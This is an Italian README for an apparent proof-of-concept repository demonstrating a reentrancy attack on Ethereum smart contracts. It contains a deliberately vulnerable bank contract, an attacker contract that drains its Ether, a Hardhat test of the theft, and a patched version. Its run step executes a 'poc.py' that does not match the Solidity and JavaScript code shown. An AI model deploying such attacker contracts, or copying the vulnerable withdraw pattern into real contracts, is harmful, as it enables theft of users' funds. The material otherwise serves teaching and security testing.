
POC di vulnerabilità da attacco reentrancy su smart contract
Verifica della vulnerabilità di attacco di rientranza negli smart contract
Questo repository contiene una Proof of Concept (PoC) che dimostra una vulnerabilità di attacco di rientranza negli smart contract Ethereum. La PoC include uno smart contract vulnerabile, un contratto attaccante e istruzioni per riprodurre l'attacco in un ambiente di test locale.
La rientranza è una vulnerabilità comune negli smart contract Ethereum in cui un contratto esterno può effettuare chiamate ripetute al contratto originale prima che la prima chiamata sia completata, potenzialmente drenando fondi o manipolando lo stato. Questa PoC dimostra come un attaccante può sfruttare un contratto vulnerabile per rubare Ether.
Il contratto vulnerabile (VulnerableBank) consente agli utenti di depositare e prelevare Ether. Tuttavia, non gestisce correttamente gli aggiornamenti di stato prima di effettuare chiamate esterne, rendendolo suscettibile alla rientranza. Il contratto attaccante (Attacker) sfrutta questa vulnerabilità chiamando ricorsivamente la funzione withdraw per drenare il saldo Ether del contratto.
withdraw in VulnerableBank invia Ether al chiamante prima di aggiornare il saldo dell'utente.withdraw nella sua funzione fallback, drenando i fondi del contratto.Per eseguire questa PoC, hai bisogno di:
git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
cd POC-CVE-2025-48621
python3 poc.py
Di seguito sono riportati i due contratti utilizzati in questa PoC:
Questo contratto simula una semplice banca che consente depositi e prelievi ma è vulnerabile alla rientranza.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Vulnerable: External call before state update
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// State update after external call
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Questo contratto sfrutta la vulnerabilità di rientranza chiamando ricorsivamente la funzione withdraw.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
VulnerableBank public vulnerableBank;
uint256 public constant WITHDRAW_AMOUNT = 1 ether;
constructor(address _vulnerableBankAddress) {
vulnerableBank = VulnerableBank(_vulnerableBankAddress);
}
// Initiate the attack
function attack() external payable {
require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
vulnerableBank.withdraw();
}
// Fallback function to recursively call withdraw
receive() external payable {
if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
vulnerableBank.withdraw();
}
}
// Withdraw stolen Ether to attacker's address
function withdrawFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
È incluso uno script di test Hardhat per automatizzare la simulazione dell'attacco.
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack PoC", function () {
let vulnerableBank, attacker, owner, attackerAddr;
beforeEach(async function () {
// Deploy VulnerableBank
const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
vulnerableBank = await VulnerableBank.deploy();
await vulnerableBank.deployed();
// Deploy Attacker
const Attacker = await ethers.getContractFactory("Attacker");
[owner, attackerAddr] = await ethers.getSigners();
attacker = await Attacker.deploy(vulnerableBank.address);
await attacker.deployed();
// Fund VulnerableBank with 10 Ether
await owner.sendTransaction({
to: vulnerableBank.address,
value: ethers.utils.parseEther("10"),
});
});
it("should drain VulnerableBank via reentrancy", async function () {
// Initial balances
const initialBankBalance = await vulnerableBank.getBalance();
console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);
// Execute attack with 1 Ether
await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });
// Check final balances
const finalBankBalance = await vulnerableBank.getBalance();
const attackerBalance = await attacker.getBalance();
console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);
expect(finalBankBalance).to.equal(0, "Bank should be drained");
expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
});
});
Per prevenire gli attacchi di rientranza, considera le seguenti buone pratiche:
ReentrancyGuard di OpenZeppelin) per prevenire chiamate ricorsive.transfer o send: questi metodi limitano il gas, riducendo il rischio di rientranza.// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Update state first
balances[msg.sender] = 0;
// Then make external call
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Questo progetto è concesso in licenza sotto la MIT License - consulta il file LICENSE per i dettagli.